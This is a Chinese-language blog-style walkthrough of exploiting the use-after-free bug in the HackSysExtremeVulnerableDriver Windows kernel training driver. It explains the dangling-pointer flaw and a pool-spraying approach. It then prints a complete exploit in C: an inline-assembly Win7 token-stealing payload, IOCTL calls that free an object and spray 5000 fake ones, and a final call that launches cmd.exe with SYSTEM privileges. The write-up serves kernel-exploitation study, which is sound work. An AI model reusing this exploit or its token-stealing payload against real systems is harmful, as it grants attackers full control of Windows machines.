UAF这个词 确实不算陌生
不过要说的一点是 在CTF里面的应用一般是 堆块在释放的时候 堆块指针没有清空 然后 再次申请 申请到那块的区域 然后就可以通过一开始的堆块指针来写 就达到了 修改的目的
然后 在这个样例里面来说 并不是堆块 算是内存池=== 这个概念还是不太了解 等到扒扒我的书
然后可以先看这个样例的代码 可以看到 有几个重要函数
AllocateUaFObjectNonPagedPool
这个函数就是 申请一个自己定义的 结构体大小的 内存
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, * PUSE_AFTER_FREE_NON_PAGED_POOL;
然后 把这个申请到的地方给了 全部变量 也就是 g_UseAfterFreeObjectNonPagedPool 这个变量 其中我们可以看到这个结构体 有一个函数指针 并且 在 UseUaFObjectNonPagedPool 这个函数里面调用到了
我们看一下调用函数的情况
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObjectNonPagedPool->Callback)
{
g_UseAfterFreeObjectNonPagedPool->Callback();
}
Status = STATUS_SUCCESS;
}
这里判断了 全部变量是否为空 然后判断了 函数的指针是否为空 然后就直接执行这个函数
然后继续往下看
FreeUaFObjectNonPagedPool 这个可以看到是一个free 函数
if (g_UseAfterFreeObjectNonPagedPool)
{
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed
//
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
//
// Set to NULL to avoid dangling pointer
//
g_UseAfterFreeObjectNonPagedPool = NULL;
#else
//
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL.
// Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer
// (dangling pointer)
//
ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG);
这里可以看到有 安全的版本就是 将全局指针清空 危险的版本就是我们的UAF了 ==
然后下面看一下 AllocateFakeObjectNonPagedPool
这个算是 给了一个利用函数吧
这个是 申请一个 PFAKE_OBJECT_NON_PAGED_POOL 结构体 然后把我们用户的缓冲区给复制进来 ==
这里为了 利用方便 把这里个结构的大小定义成一样的
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL
{
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE_NON_PAGED_POOL, * PUSE_AFTER_FREE_NON_PAGED_POOL;
typedef struct _FAKE_OBJECT_NON_PAGED_POOL
{
CHAR Buffer[0x58];
} FAKE_OBJECT_NON_PAGED_POOL, *PFAKE_OBJECT_NON_PAGED_POOL;
到这里 我们基本就整理清楚了
利用思路也可以大致梳理一下 大概就是
先申请一个use 然后 free 然后申请一个 fakeuse 然后 使用callback 就可以了
不过 这Windows 内核里面 却是需要注意几点===
第一点就是找到一个 找到一个 差不多大的 对象类型 可以申请 然后进行喷射
第二点就是 每两个来释放内存 防止堆块合并 堆块在一起 会自动合并
第三点就是 多申请几次 可能会有其它碎片化 的堆块 导致了我们申请的空间达不到全局指针指向的内存
可以看一下这个链接https://bbs.pediy.com/thread-225181.htm
关于这个对象的介绍
然后我们就可以写出exp了
这里 是用的下面的exp写的 感觉 这里更简洁一点
#include
#include
#include
#include
#include
#include
#include "windows.h"
using namespace std;
typedef void(*FunctionPointer) ();
typedef struct _FAKE_USE_AFTER_FREE
{
FunctionPointer callback;
char buffer[0x54];
}FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + 0x124]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 0x50]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0xb8]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0xb8
cmp[eax + 0xb4], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xf8]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0xf8], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
}
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
DWORD recv;
// 获取句柄
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice==INVALID_HANDLE_VALUE||hDevice==NULL)
{
printf("打开句柄失败===\n");
return 0;
}
DeviceIoControl(
hDevice,
0x222013,
NULL,
NULL,
NULL,
0,
&recv,
NULL);
//申请内存块
DeviceIoControl(hDevice,
0x22201B,
NULL,
NULL,
NULL,
0,
&recv,
NULL);
//free内存块
PUSE_AFTER_FREE UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
UseAfterFree->callback = TokenStealingPayloadWin7Generic;
RtlFillMemory(UseAfterFree->buffer, sizeof(UseAfterFree->buffer), 'A');
for (int i = 0; i < 5000; i++)
{
//申请 fake内存块
DeviceIoControl(hDevice, 0x22201F, UseAfterFree, 0x60, NULL, 0, &recv, NULL);
}
//执行shellcode
DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recv, NULL);
Cmd();
return 0;
}
参考链接
https://bbs.pediy.com/thread-225181.htm
https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/UAF/UAF/test1.c